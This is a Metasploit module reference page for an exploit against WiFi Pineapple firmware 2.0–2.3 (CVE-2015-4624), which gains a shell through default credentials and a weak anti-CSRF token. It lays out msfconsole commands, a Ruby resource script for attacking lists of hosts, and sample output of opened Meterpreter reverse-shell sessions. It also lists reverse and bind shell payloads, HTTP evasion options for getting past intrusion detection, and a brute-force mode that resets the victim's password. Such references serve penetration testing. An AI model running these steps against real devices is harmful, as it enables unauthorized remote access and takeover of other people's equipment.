Hak5 WiFi Pineapple Preconfiguration Command Injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/pineapple_preconfig_cmdinject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Hak5 WiFi Pineapple Preconfiguration Command Injection
Module: exploit/linux/http/pineapple_preconfig_cmdinject
Source code: modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
Disclosure date: 2015-08-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 1471, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-4624

This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. We use a combination of default credentials with a weakness in the anti-csrf generation to achieve command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail, you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a known password if successful and may interrupt the user experience. These devices may typically be identified by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting worm.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using pineapple_preconfig_cmdinject against a single host

Normally, you can use exploit/linux/http/pineapple_preconfig_cmdinject this way:

msf > use exploit/linux/http/pineapple_preconfig_cmdinject
msf exploit(pineapple_preconfig_cmdinject) > show targets
    ... a list of targets ...
msf exploit(pineapple_preconfig_cmdinject) > set TARGET target-id
msf exploit(pineapple_preconfig_cmdinject) > show options
    ... show and set options ...
msf exploit(pineapple_preconfig_cmdinject) > exploit

Using pineapple_preconfig_cmdinject against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your pineapple_preconfig_cmdinject will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/pineapple_preconfig_cmdinject")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Knowledge Base


Vulnerable Application


This module uses a challenge solver exploit which impacts two possible states of the device: pre-password set and post-password set. The pre-password set vulnerability uses a default password and a weak anti-CSRF (CVE-2015-4624) check to obtain shell by logging in and pre-computing the solution to the anti-CSRF check.

The post-password set vulnerability uses the fact that there is a 1 in 27 chance of correctly guessing the challenge solution. This attack resets the password to a password chosen by the attacker (we suggest the default 'pineapplesareyummy' to decrease collateral damage on victims) and then performs the same anti-CSRF attack as the pre-password vulnerability.

This exploit uses a utility function in /components/system/configuration/functions.php to execute commands once authorization has been bypassed.

Verification Steps


This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The default options are generally effective due to having a set state after being flashed. You will need to be connected to the WiFi pineapple network (e.g. via WiFi or ethernet).

Assuming the above 2.3 firmware is installed, this exploit should always work. If it does not, try it again. It should always work as long as the pineapple is in its default configuration.

Go back to menu.

Msfconsole Usage


Here is how the linux/http/pineapple_preconfig_cmdinject exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/pineapple_preconfig_cmdinject

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show info

       Name: Hak5 WiFi Pineapple Preconfiguration Command Injection
     Module: exploit/linux/http/pineapple_preconfig_cmdinject
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-01

Provided by:
  catatonicprime

Available targets:
  Id  Name
  --  ----
  0   WiFi Pineapple 2.0.0 - 2.3.0

Check supported:
  Yes

Basic options:
  Name       Current Setting                                 Required  Description
  ----       ---------------                                 --------  -----------
  PASSWORD   pineapplesareyummy                              yes       The password to use for login
  PHPSESSID  tospovirus                                      yes       PHPSESSID to use for attack
  RHOSTS     172.16.42.1                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      1471                                            yes       The target port (TCP)
  TARGETURI  /components/system/configuration/functions.php  yes       Path to the command injection
  USERNAME   root                                            yes       The username to use for login

Payload information:
  Space: 2048

Description:
  This module exploits a command injection vulnerability on WiFi 
  Pineapples version 2.0 <= pineapple < 2.4. We use a combination of 
  default credentials with a weakness in the anti-csrf generation to 
  achieve command injection on fresh pineapple devices prior to 
  configuration. Additionally if default credentials fail, you can 
  enable a brute force solver for the proof-of-ownership challenge. 
  This will reset the password to a known password if successful and 
  may interrupt the user experience. These devices may typically be 
  identified by their SSID beacons of 'Pineapple5_....'; details 
  derived from the TospoVirus, a WiFi Pineapple infecting worm.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-4624

Module Options


This is a complete list of options available in the linux/http/pineapple_preconfig_cmdinject exploit:

msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show options

Module options (exploit/linux/http/pineapple_preconfig_cmdinject):

   Name       Current Setting                                 Required  Description
   ----       ---------------                                 --------  -----------
   PASSWORD   pineapplesareyummy                              yes       The password to use for login
   PHPSESSID  tospovirus                                      yes       PHPSESSID to use for attack
   RHOSTS     172.16.42.1                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      1471                                            yes       The target port (TCP)
   TARGETURI  /components/system/configuration/functions.php  yes       Path to the command injection
   USERNAME   root                                            yes       The username to use for login

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   WiFi Pineapple 2.0.0 - 2.3.0

Advanced Options


Here is a complete list of advanced options supported by the linux/http/pineapple_preconfig_cmdinject exploit:

msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show advanced

Module advanced options (exploit/linux/http/pineapple_preconfig_cmdinject):

   Name                   Current Setting                                     Required  Description
   ----                   ---------------                                     --------  -----------
   BruteForce             false                                               no        When true, attempts to solve LED puzzle after login failure
   BruteForceTries        0                                                   no        Number of tries to solve LED puzzle, 0 -> infinite
   DisablePayloadHandler  false                                               no        Disable the handler code for the selected payload
   HttpPassword                                                               no        The HTTP password to specify for authentication
   HttpRawHeaders                                                             no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace              false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors        red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly   false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                               no        The HTTP username to specify for authentication
   UserAgent              Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/pineapple_preconfig_cmdinject module can exploit:

msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   WiFi Pineapple 2.0.0 - 2.3.0

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/pineapple_preconfig_cmdinject exploit:

msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show payloads

Compatible Payloads
===================

   #  Name                                        Disclosure Date  Rank    Check  Description
   -  ----                                        ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   1  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   2  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   3  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   4  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   5  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   6  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   7  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   8  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   9  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/pineapple_preconfig_cmdinject exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Brute forcing not available...


Here is a relevant code snippet related to the "Brute forcing not available..." error message:

170:	      'uri'    => brute_uri
171:	    )
172:	
173:	    # Confirm the response indicates there is a puzzle to be solved.
174:	    if !res || !(res.code == 200) || res.body !~ /own this pineapple/
175:	      print_status('Brute forcing not available...')
176:	      return nil
177:	    end
178:	
179:	    cookies = res.get_cookies
180:	    counter = 0

Failed to brute force puzzle in <COUNTER> tries...


Here is a relevant code snippet related to the "Failed to brute force puzzle in <COUNTER> tries..." error message:

197:	      if res && res.code == 200 && res.body =~ /set_password/
198:	        print_good('Successfully solved puzzle!')
199:	        return write_password(cookies)
200:	      end
201:	    end
202:	    print_warning("Failed to brute force puzzle in #{counter} tries...")
203:	    nil
204:	  end
205:	
206:	  def write_password(cookies)
207:	    print_status("Attempting to set password to: #{password}")

Failed to set password


Here is a relevant code snippet related to the "Failed to set password" error message:

219:	    )
220:	    if res && res.code == 200 && res.body =~ /success/
221:	      print_good('Successfully set password!')
222:	      return res
223:	    end
224:	    print_warning('Failed to set password')
225:	
226:	    nil
227:	  end
228:	
229:	  def check

Failed to login PHPSESSID <PHPSESSID> with <USERNAME>:<PASSWORD>


Here is a relevant code snippet related to the "Failed to login PHPSESSID <PHPSESSID> with <USERNAME>:<PASSWORD>" error message:

249:	    if !loggedin && use_brute
250:	      brute_force
251:	      loggedin = login
252:	    end
253:	    unless loggedin
254:	      fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
255:	    end
256:	
257:	    print_status('Executing payload...')
258:	    cmd_inject("#{payload.encoded}")
259:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • catatonicprime

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.